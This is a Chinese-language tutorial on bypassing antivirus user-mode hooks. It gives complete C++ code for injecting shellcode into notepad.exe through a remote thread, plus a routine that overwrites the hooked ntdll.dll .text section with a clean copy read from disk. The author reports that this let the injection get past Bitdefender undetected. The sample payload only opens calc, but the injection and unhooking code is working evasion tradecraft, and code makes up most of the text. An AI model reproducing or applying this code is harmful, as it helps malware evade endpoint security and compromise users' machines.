从ring3绕过AV hook

0x1、前言

ntdll.dll常常是被AV/EDR hook的主要模块,当程序完全加载完毕后,我们可以尝试从system32目录下加载一个干净的ntdll.dll。

  1. 将 ntdll.dll 的新副本从磁盘映射到进程内存
  2. 查找挂钩的 ntdll.dll 的 .text 部分的虚拟地址
  3. 获取 ntdll.dll 基地址
  4. 模块基址 + 模块的 .text 部分 VirtualAddress
  5. 查找新映射的 ntdll.dll 的 .text 部分的虚拟地址
  6. 获取挂钩模块的 .text 部分的原始内存保护
  7. 将 .text 部分从新映射的 dll 复制到原始(挂钩的)ntdll.dll 的虚拟地址(在第 3 步中找到)——这是取消挂钩的主要部分,因为所有挂钩的字节都被磁盘中的新字节覆盖
  8. 将原始内存保护应用到原始 ntdll.dll 的刚脱钩的 .text 部分

0x2、分析

这里使用常规进程注入代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <Windows.h>
#include <TlHelp32.h>
#include <iostream>
#include <winternl.h>
#include <psapi.h>

DWORD FindPid() {
HANDLE hProcessSnap = NULL;
BOOL bRet = FALSE;
PROCESSENTRY32 pe32 = { 0 };
DWORD dwProcessId;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
pe32.dwSize = sizeof(PROCESSENTRY32);
if (hProcessSnap != INVALID_HANDLE_VALUE) {
bRet = Process32First(hProcessSnap, &pe32);
while (bRet) {
if (!_wcsicmp(pe32.szExeFile, L"notepad.exe")) {
dwProcessId = pe32.th32ProcessID;
break;
}
bRet = Process32Next(hProcessSnap, &pe32);
}
}
return dwProcessId;
}

DWORD INject(DWORD pid) {
HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;
//x64 calc shellcode
UCHAR buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof buf, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, buf, sizeof buf, NULL);
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
if (remoteThread) {
WaitForSingleObject(remoteThread, 500);
CloseHandle(remoteThread);
return 0;
}
CloseHandle(processHandle);
}

int main() {
DWORD pid = FindPid();
printf("Find notepad pid : %d\n", pid);
system("pause");
INject(pid);
getchar();
return 0;
}

在无AV环境下正常程序执行DLL加载过程

image-20230712170555905

这时候查看ntdll.dll中的函数是干净的

image-20230712170633172

我们在AV环境下调试程序的时候,杀软会自动加载dll

image-20230712174120435

查看ntdll中的函数,这时候ntdll.dll已经被bitdefender给hook了

image-20230712174150045

由于ntdll.dll在ring3层被hook了,我们如果想要绕过他的hook,就只用重新将一个干净的ntdll.dll加载一次,来绕过ring3的hook,下列是unhook代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
DWORD UNHOOKntdll() {
MODULEINFO Nt = {};
HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");

GetModuleInformation(HANDLE(-1), ntdllModule, &Nt, sizeof(Nt));
LPVOID ntdllBase = (LPVOID)Nt.lpBaseOfDll;
HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);

PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);

for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
DWORD oldProtection = 0;
bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
}
}

CloseHandle(ntdllFile);
CloseHandle(ntdllMapping);
FreeLibrary(ntdllModule);

return 0;
}

0x3、实验

使用普通注入情况下,直接检测到注入,立刻就被干掉了。

image-20230712175437731

使用reload ntdll.dll,直接将hook移除

移除前ntdll.dll还是被AV hook中

image-20230712193135222

移除后hook后在检查时发现ntdll.dll已经干净了image-20230712192927602

绕过bitdefender注入到notepad中执行shellcode

image-20230712195927319